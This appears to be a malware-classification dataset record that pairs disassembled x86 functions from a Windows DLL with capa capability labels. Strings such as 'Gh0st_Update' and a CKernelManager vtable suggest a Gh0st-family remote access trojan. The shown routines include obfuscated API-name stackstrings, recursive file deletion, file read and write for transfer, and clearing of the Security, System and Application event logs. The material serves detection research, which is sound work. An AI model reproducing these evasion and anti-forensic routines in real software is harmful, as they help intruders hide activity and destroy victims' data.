joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100026c0
Capabilities:
Contain obfuscated stackstrings
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x380
mov eax, dword [0x10028ce0]
xor eax, esp
mov dword [esp + 0x37c], eax
push ebx
push ebp
mov dword [esp + 0xc], ecx
mov al, 0x65
mov cl, 0x6c
push esi
mov esi, dword [esp + 0x390]
mov byte [esp + 0x161], cl
mov byte [esp + 0x166], cl
mov byte [esp + 0x167], cl
mov cl, 0x6f
push edi
mov byte [esp + 0x161], al
mov byte [esp + 0x164], al
mov byte [esp + 0x171], al
mov byte [esp + 0x175], al
mov byte [esp + 0x179], al
lea eax, [esp + 0x170]
mov dl, 0x72
mov byte [esp + 0x173], cl
mov byte [esp + 0x17c], cl
push eax
lea ecx, [esp + 0x164]
xor bl, bl
push ecx
mov byte [esp + 0x168], 0x6b
mov byte [esp + 0x16a], dl
mov byte [esp + 0x16b], 0x6e
mov byte [esp + 0x16e], 0x33
mov byte [esp + 0x16f], 0x32
mov byte [esp + 0x170], 0x2e
mov byte [esp + 0x171], 0x64
mov byte [esp + 0x174], bl
mov byte [esp + 0x178], 0x52
mov byte [esp + 0x17a], 0x6d
mov byte [esp + 0x17c], 0x76
mov byte [esp + 0x17e], 0x44
mov byte [esp + 0x17f], 0x69
mov byte [esp + 0x180], dl
mov byte [esp + 0x182], 0x63
mov byte [esp + 0x183], 0x74
mov byte [esp + 0x185], dl
mov byte [esp + 0x186], 0x79
mov byte [esp + 0x187], 0x41
mov byte [esp + 0x188], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [esp + 0x10], eax
mov al, 0x2a
push esi
lea edx, [esp + 0x15c]
mov byte [esp + 0x15f], al
mov byte [esp + 0x161], al
push edx
lea eax, [esp + 0x290]
push eax
mov byte [esp + 0x164], 0x25
mov byte [esp + 0x165], 0x73
mov byte [esp + 0x166], 0x5c
mov byte [esp + 0x168], 0x2e
mov byte [esp + 0x16a], bl
call edi
add esp, 0xc
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x28c]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x10002860
xor al, al
jmp 0x100028cf
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp byte [esp + 0x44], 0x2e
je 0x100028ae
test byte [esp + 0x18], 0x10
lea eax, [esp + 0x44]
push eax
push esi
lea ecx, [esp + 0x18c]
push str._s_s
push ecx
je 0x1000289f
call edi
mov ecx, dword [esp + 0x24]
add esp, 0x10
lea edx, [esp + 0x184]
push edx
call fcn.100026c0
jmp 0x100028ae
call edi
add esp, 0x10
lea edx, [esp + 0x184]
push edx
call ebx
lea eax, [esp + 0x18]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10002866
push ebp
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [esp + 0x14]
test eax, eax
setne al
mov ecx, dword [esp + 0x38c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10012866
add esp, 0x380
ret 4
Function at 0x100028f0
Capabilities:
Contain obfuscated stackstrings
Get file size

Disassembly:
sub esp, 0x28
mov eax, dword [0x10028ce0]
xor eax, esp
mov dword [esp + 0x24], eax
push ebx
push ebp
mov al, 0x65
push esi
mov ebx, ecx
mov cl, 0x6c
push edi
mov edi, dword [esp + 0x3c]
mov byte [esp + 0x25], al
mov byte [esp + 0x28], al
mov byte [esp + 0x1a], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x21], al
lea eax, [esp + 0x18]
mov byte [esp + 0x29], cl
mov byte [esp + 0x2e], cl
mov byte [esp + 0x2f], cl
mov byte [esp + 0x20], cl
mov dl, 0x72
push eax
lea ecx, [esp + 0x28]
push ecx
mov byte [esp + 0x2c], 0x6b
mov byte [esp + 0x2e], dl
mov byte [esp + 0x2f], 0x6e
mov byte [esp + 0x32], 0x33
mov byte [esp + 0x33], 0x32
mov byte [esp + 0x34], 0x2e
mov byte [esp + 0x35], 0x64
mov byte [esp + 0x38], 0
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], dl
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x24], 0x74
mov byte [esp + 0x26], 0x46
mov byte [esp + 0x27], 0x69
mov byte [esp + 0x2a], 0x41
mov byte [esp + 0x2b], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x104
lea esi, [ebx + 0x30]
push 0
push esi
mov ebp, eax
call fcn.10012980
add esp, 0xc
mov eax, edi
sub esi, edi
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
test cl, cl
jne 0x100029b0
push 0
push 0x80
push 3
push 0
push 1
push closesocket
push edi
call ebp
mov esi, eax
cmp esi, 0xffffffff
jne 0x100029ed
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.10012866
add esp, 0x28
ret 4
lea edx, [esp + 0x14]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov dword [esp + 0x14], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebp, eax
add ebp, 0xa
push ebp
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push ebp
mov esi, eax
push 0
push esi
call fcn.10012980
mov ecx, dword [esp + 0x1c]
mov byte [esi], 0x69
mov eax, dword [esp + 0x20]
add esp, 0xc
push edi
mov dword [esi + 1], eax
mov dword [esi + 5], ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
lea edx, [esi + 9]
push edi
push edx
call fcn.10011c40
add esp, 0xc
push ebp
push esi
mov ecx, ebx
call fcn.10006740
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [esp + 0x34]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10012866
add esp, 0x28
ret 4
Function at 0x10002a90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x170
mov eax, dword [0x10028ce0]
xor eax, esp
mov dword [esp + 0x16c], eax
push ebx
push esi
mov al, 0x65
push edi
mov edi, ecx
mov cl, 0x6c
mov byte [esp + 0x169], al
mov byte [esp + 0x16c], al
mov byte [esp + 0x15e], al
mov byte [esp + 0x161], al
mov byte [esp + 0x165], al
lea eax, [esp + 0x15c]
mov byte [esp + 0x16d], cl
mov byte [esp + 0x172], cl
mov byte [esp + 0x173], cl
mov byte [esp + 0x164], cl
mov dl, 0x72
push eax
lea ecx, [esp + 0x16c]
xor ebx, ebx
push ecx
mov byte [esp + 0x170], 0x6b
mov byte [esp + 0x172], dl
mov byte [esp + 0x173], 0x6e
mov byte [esp + 0x176], 0x33
mov byte [esp + 0x177], 0x32
mov byte [esp + 0x178], 0x2e
mov byte [esp + 0x179], 0x64
mov byte [esp + 0x17c], bl
mov byte [esp + 0x164], 0x43
mov byte [esp + 0x165], dl
mov byte [esp + 0x167], 0x61
mov byte [esp + 0x168], 0x74
mov byte [esp + 0x16a], 0x46
mov byte [esp + 0x16b], 0x69
mov byte [esp + 0x16e], 0x41
mov byte [esp + 0x16f], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [edi + 0x2c]
mov dword [esp + 0xc], eax
mov eax, ecx
sub eax, 2
je 0x10002bb3
sub eax, 2
je 0x10002bac
sub eax, 2
je 0x10002ba5
mov esi, ecx
jmp 0x10002bb8
mov esi, 5
jmp 0x10002bb8
mov esi, 3
jmp 0x10002bb8
mov esi, 1
push ebp
lea edx, [esp + 0x14]
push edx
lea ebp, [edi + 0x30]
push ebp
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
xor ecx, ecx
mov dword [esp + 0x154], ecx
mov dword [esp + 0x158], ecx
mov byte [esp + 0x15c], cl
mov byte [esp + 0x154], 0x70
cmp eax, 0xffffffff
je 0x10002c13
cmp esi, 1
jne 0x10002c0e
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x34]
mov dword [esp + 0x155], ecx
mov dword [esp + 0x159], edx
mov esi, 3
jmp 0x10002c43
cmp esi, 3
jne 0x10002c28
xor ecx, ecx
mov dword [esp + 0x155], ecx
mov dword [esp + 0x159], ecx
lea esi, [ecx + 2]
jmp 0x10002c43
cmp esi, 5
jne 0x10002c3f
mov dword [esp + 0x159], 0xffffffff
mov esi, 3
jmp 0x10002c43
mov esi, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push ebx
push 0x80
push esi
push ebx
push 2
push 0x40000000
push ebp
call dword [esp + 0x2c]
pop ebp
cmp eax, 0xffffffff
jne 0x10002c88
mov dword [edi + 0x138], ebx
mov dword [edi + 0x13c], ebx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x16c]
xor ecx, esp
call fcn.10012866
add esp, 0x170
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 9
lea eax, [esp + 0x154]
push eax
mov ecx, edi
call fcn.10006740
mov ecx, dword [esp + 0x178]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10012866
add esp, 0x170
ret
Function at 0x10002cc0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x58
mov eax, dword [0x10028ce0]
xor eax, esp
mov dword [esp + 0x54], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x68]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov bl, 0x65
lea eax, [esp + 0x2c]
mov ebp, ecx
push eax
lea ecx, [esp + 0x4c]
push ecx
mov byte [esp + 0x50], 0x6b
mov byte [esp + 0x51], bl
mov byte [esp + 0x52], 0x72
mov byte [esp + 0x53], 0x6e
mov byte [esp + 0x54], bl
mov byte [esp + 0x55], 0x6c
mov byte [esp + 0x56], 0x33
mov byte [esp + 0x57], 0x32
mov byte [esp + 0x58], 0x2e
mov byte [esp + 0x59], 0x64
mov byte [esp + 0x5a], 0x6c
mov byte [esp + 0x5b], 0x6c
mov byte [esp + 0x5c], 0
mov byte [esp + 0x34], 0x43
mov byte [esp + 0x35], 0x72
mov byte [esp + 0x36], bl
mov byte [esp + 0x37], 0x61
mov byte [esp + 0x38], 0x74
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], 0x46
mov byte [esp + 0x3b], 0x69
mov byte [esp + 0x3c], 0x6c
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], 0x41
mov byte [esp + 0x3f], 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x20]
mov dword [esp + 0x18], eax
push edx
lea eax, [esp + 0x3c]
push eax
mov byte [esp + 0x40], 0x6b
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], 0x72
mov byte [esp + 0x43], 0x6e
mov byte [esp + 0x44], bl
mov byte [esp + 0x45], 0x6c
mov byte [esp + 0x46], 0x33
mov byte [esp + 0x47], 0x32
mov byte [esp + 0x48], 0x2e
mov byte [esp + 0x49], 0x64
mov byte [esp + 0x4a], 0x6c
mov byte [esp + 0x4b], 0x6c
mov byte [esp + 0x4c], 0
mov byte [esp + 0x28], 0x57
mov byte [esp + 0x29], 0x72
mov byte [esp + 0x2a], 0x69
mov byte [esp + 0x2b], 0x74
mov byte [esp + 0x2c], bl
mov byte [esp + 0x2d], 0x46
mov byte [esp + 0x2e], 0x69
mov byte [esp + 0x2f], 0x6c
mov byte [esp + 0x30], bl
mov byte [esp + 0x31], 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esi]
mov ebx, dword [esi + 4]
push 0
push 0x80
push 3
push 0
push 2
mov dword [esp + 0x30], eax
mov dword [esp + 0x24], ecx
push 0x40000000
lea edx, [ebp + 0x30]
push edx
call dword [esp + 0x34]
mov edi, eax
push 0
lea eax, [esp + 0x14]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [esp + 0x70]
push 0
lea ecx, [esp + 0x18]
push ecx
add edx, 0xfffffff8
push edx
add esi, 8
push esi
push edi
call dword [esp + 0x30]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
add ecx, ebx
push 9
lea edx, [esp + 0x5c]
mov dword [esp + 0x61], ecx
push edx
mov ecx, ebp
mov byte [esp + 0x60], 0x70
mov dword [esp + 0x61], eax
call fcn.10006740
mov ecx, dword [esp + 0x64]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10012866
add esp, 0x58
ret 8
Function at 0x10003ae0
Capabilities:
Contain obfuscated stackstrings
Read file on windows

Disassembly:
sub esp, 0x24
mov eax, dword [0x10028ce0]
xor eax, esp
mov dword [esp + 0x20], eax
mov al, 0x65
push ebx
mov ebx, ecx
mov cl, 0x6c
push esi
mov esi, dword [esp + 0x30]
mov byte [esp + 0x19], al
mov byte [esp + 0x1c], al
mov byte [esp + 0xe], al
mov byte [esp + 0x11], al
mov byte [esp + 0x15], al
lea eax, [esp + 0xc]
mov byte [esp + 0x1d], cl
mov byte [esp + 0x22], cl
mov byte [esp + 0x23], cl
mov byte [esp + 0x14], cl
mov dl, 0x72
push eax
lea ecx, [esp + 0x1c]
push ecx
mov byte [esp + 0x20], 0x6b
mov byte [esp + 0x22], dl
mov byte [esp + 0x23], 0x6e
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x2c], 0
mov byte [esp + 0x14], 0x43
mov byte [esp + 0x15], dl
mov byte [esp + 0x17], 0x61
mov byte [esp + 0x18], 0x74
mov byte [esp + 0x1a], 0x46
mov byte [esp + 0x1b], 0x69
mov byte [esp + 0x1e], 0x41
mov byte [esp + 0x1f], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp dword [esi + 4], 0xffffffff
jne 0x10003ba7
mov ecx, ebx
call fcn.10003960
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.10012866
add esp, 0x24
ret 4
push ebp
push 0
push 0x80
push 3
push 0
push 1
push closesocket
lea edx, [ebx + 0x30]
push edx
call eax
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x10003bdd
pop ebp
pop esi
or eax, eax
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.10012866
add esp, 0x24
ret 4
mov eax, dword [esi + 4]
push edi
push 0
push esi
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x2000
push 0x40
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
push 0
mov byte [edi], 0x6a
mov ecx, dword [esi]
lea eax, [esp + 0x14]
push eax
mov dword [edi + 1], ecx
mov edx, dword [esi + 4]
push 0x1ff7
lea ecx, [edi + 9]
push ecx
push ebp
mov dword [edi + 5], edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
mov ecx, ebx
test eax, eax
jbe 0x10003c47
add eax, 9
push eax
push edi
call fcn.10006740
mov esi, eax
jmp 0x10003c50
call fcn.10003960
mov esi, dword [esp + 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [esp + 0x30]
pop edi
pop ebp
mov eax, esi
pop esi
pop ebx
xor ecx, esp
call fcn.10012866
add esp, 0x24
ret 4
Function at 0x10003c90
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push 0xffffffffffffffff
push 0x10020a6b
mov eax, dword fs:[0]
push eax
sub esp, 0x47c
mov eax, dword [0x10028ce0]
xor eax, esp
mov dword [esp + 0x478], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x10028ce0]
xor eax, esp
push eax
lea eax, [esp + 0x490]
mov dword fs:[0], eax
mov edi, dword [esp + 0x4a0]
push 0x104
xor ebx, ebx
lea eax, [esp + 0x288]
push ebx
push eax
mov dword [esp + 0x24], ecx
mov dword [esp + 0x2c], edi
call fcn.10012980
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [eax + edi - 1], 0x5c
je 0x10003d0b
mov ebp, 0x100214ec
mov dword [esp + 0x14], ebp
jmp 0x10003d17
mov dword [esp + 0x14], 0x100214e8
mov ebp, dword [esp + 0x14]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push ebp
push edi
lea ecx, [esp + 0x28c]
push str._s_s.
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0x40]
push edx
lea eax, [esp + 0x288]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [esp + 0x1c], eax
cmp eax, 0xffffffff
jne 0x10003d54
xor al, al
jmp 0x10003e72
cmp byte [esp + 0x6c], 0x2e
je 0x10003e4d
test byte [esp + 0x40], 0x10
lea ecx, [esp + 0x6c]
push ecx
push ebp
push edi
push str._s_s_s
je 0x10003d95
lea edx, [esp + 0x398]
push edx
call esi
mov ecx, dword [esp + 0x2c]
add esp, 0x14
lea eax, [esp + 0x388]
push eax
call fcn.10003c90
jmp 0x10003e4d
lea edx, [esp + 0x190]
push edx
call esi
lea eax, [esp + 0x194]
add esp, 0x14
mov dword [esp + 0x3c], 0xf
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
lea ecx, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x10003dc0
sub eax, ecx
push eax
lea eax, [esp + 0x184]
push eax
lea ecx, [esp + 0x2c]
call fcn.100033b0
mov esi, dword [esp + 0x18]
mov edi, dword [esi + 0x24]
mov edx, dword [edi + 4]
add esi, 0x10
lea ecx, [esp + 0x24]
push ecx
push edx
push edi
mov ecx, esi
mov dword [esp + 0x4a4], ebx
call fcn.100038c0
push 1
mov ecx, esi
mov ebp, eax
call fcn.10003680
mov dword [edi + 4], ebp
mov eax, dword [ebp + 4]
mov dword [eax], ebp
cmp dword [esp + 0x3c], 0x10
mov dword [esp + 0x498], 0xffffffff
jb 0x10003e2f
mov eax, dword [esp + 0x28]
push eax
call fcn.10012475
add esp, 4
mov ebp, dword [esp + 0x14]
mov edi, dword [esp + 0x20]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [esp + 0x3c], 0xf
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x40]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10003d54
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, 1
mov ecx, dword [esp + 0x490]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x478]
xor ecx, esp
call fcn.10012866
add esp, 0x488
ret 4
Function at 0x10003fe0
Capabilities:
Delete file

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
movzx eax, byte [edi]
add eax, 0xfffffffe
mov esi, ecx
cmp eax, 0xd
ja case.0x10003ff7.6
jmp dword [eax*4 + 0x100040c0]
inc edi
push edi
call fcn.10002490
pop edi
pop esi
ret 8
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x6c
mov ecx, esi
call fcn.10002a80
pop edi
pop esi
ret 8
inc edi
push edi
call fcn.100026c0
push 0x6c
mov ecx, esi
call fcn.10002a80
pop edi
pop esi
ret 8
inc edi
push edi
call fcn.10003ea0
pop edi
pop esi
ret 8
inc edi
push edi
call fcn.10003ae0
pop edi
pop esi
ret 8
inc edi
push edi
call fcn.10002eb0
pop edi
pop esi
ret 8
inc edi
push edi
call fcn.10002ed0
pop edi
pop esi
ret 8
call fcn.100039e0
pop edi
pop esi
ret 8
inc edi
push edi
call fcn.10002e90
pop edi
pop esi
ret 8
inc edi
push edi
call fcn.10002f80
pop edi
pop esi
ret 8
mov eax, dword [esp + 0x10]
dec eax
push eax
inc edi
push edi
call fcn.10002cc0
pop edi
pop esi
ret 8
push 5
inc edi
push edi
call fcn.10002210
pop edi
pop esi
ret 8
push 0
inc edi
push edi
call fcn.10002210
pop edi
pop esi
ret 8

Function at 0x1000400a
Capabilities:
Delete file

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
movzx eax, byte [edi]
add eax, 0xfffffffe
mov esi, ecx
cmp eax, 0xd
ja case.0x10003ff7.6
jmp dword [eax*4 + 0x100040c0]
inc edi
push edi
call fcn.10002490
pop edi
pop esi
ret 8
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x6c
mov ecx, esi
call fcn.10002a80
pop edi
pop esi
ret 8
inc edi
push edi
call fcn.100026c0
push 0x6c
mov ecx, esi
call fcn.10002a80
pop edi
pop esi
ret 8
inc edi
push edi
call fcn.10003ea0
pop edi
pop esi
ret 8
inc edi
push edi
call fcn.10003ae0
pop edi
pop esi
ret 8
inc edi
push edi
call fcn.10002eb0
pop edi
pop esi
ret 8
inc edi
push edi
call fcn.10002ed0
pop edi
pop esi
ret 8
call fcn.100039e0
pop edi
pop esi
ret 8
inc edi
push edi
call fcn.10002e90
pop edi
pop esi
ret 8
inc edi
push edi
call fcn.10002f80
pop edi
pop esi
ret 8
mov eax, dword [esp + 0x10]
dec eax
push eax
inc edi
push edi
call fcn.10002cc0
pop edi
pop esi
ret 8
push 5
inc edi
push edi
call fcn.10002210
pop edi
pop esi
ret 8
push 0
inc edi
push edi
call fcn.10002210
pop edi
pop esi
ret 8

Function at 0x10004980
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call fcn.10013120
mov esi, eax
add esp, 8
add esi, 1
jne 0x100049a3
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.10009a80
add esp, 8
test al, al
je 0x1000499b
push 0x40
lea eax, [esp + 0x20]
push 0
push eax
call fcn.10012980
add esp, 0xc
lea ecx, [esp + 8]
push ecx
lea edx, [esp + 0x1c]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push str.Gh0st_Update
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
pop edi
setne al
pop esi
add esp, 0x54
ret
Function at 0x10004aa0
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0xc
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x10], str.Application
mov dword [esp + 0x14], str.Security
mov dword [esp + 0x18], str.System
xor edi, edi
lea ecx, [ecx]
mov eax, dword [esp + edi*4 + 0x10]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x10004aeb
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
inc edi
cmp edi, 3
jb 0x10004ad0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret

Function at 0x10004b00
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
push eax
mov esi, ecx
call fcn.10006630
mov eax, dword [esp + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [esi], vtable.CKernelManager.0
test eax, eax
je 0x10004b29
push eax
lea ecx, [esi + 0x10]
push ecx
call edi
mov eax, dword [esp + 0x18]
test eax, eax
je 0x10004b3b
push eax
lea edx, [esi + 0x110]
push edx
call edi
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x10004b4b
push eax
push 0x1002a538
call edi
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x14]
push 0
push 0
push 0
push 0x100044d0
mov dword [0x10027108], eax
push 0
push 0
mov dword [esi + 0x9e54], ecx
mov dword [esi + 0x9e50], 0
mov byte [esi + 0x9e58], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
ret 0x18

Function at 0x10004bf0
Capabilities:
Contain obfuscated stackstrings
Delete file

Disassembly:
sub esp, 0x12c
mov eax, dword [0x10028ce0]
xor eax, esp
mov dword [esp + 0x128], eax
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 5], cl
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], cl
mov cl, 0x74
mov byte [esp + 1], al
mov byte [esp + 4], al
mov byte [esp + 0x11], al
mov byte [esp + 0x17], al
mov byte [esp + 0x1c], al
lea eax, [esp + 0x10]
mov dl, 0x72
mov byte [esp + 0x12], cl
mov byte [esp + 0x16], cl
mov byte [esp + 0x1e], cl
push eax
lea ecx, [esp + 4]
push ecx
mov byte [esp + 8], 0x6b
mov byte [esp + 0xa], dl
mov byte [esp + 0xb], 0x6e
mov byte [esp + 0xe], 0x33
mov byte [esp + 0xf], 0x32
mov byte [esp + 0x10], 0x2e
mov byte [esp + 0x11], 0x64
mov byte [esp + 0x14], 0
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x1b], 0x53
mov byte [esp + 0x1c], 0x79
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x20], 0x6d
mov byte [esp + 0x21], 0x44
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], dl
mov byte [esp + 0x25], 0x63
mov byte [esp + 0x27], 0x6f
mov byte [esp + 0x28], dl
mov byte [esp + 0x29], 0x79
mov byte [esp + 0x2a], 0x41
mov byte [esp + 0x2b], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x104
lea edx, [esp + 0x28]
push edx
call eax
push str._syslog.dat
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [esp + 0x128]
xor ecx, esp
call fcn.10012866
add esp, 0x12c
ret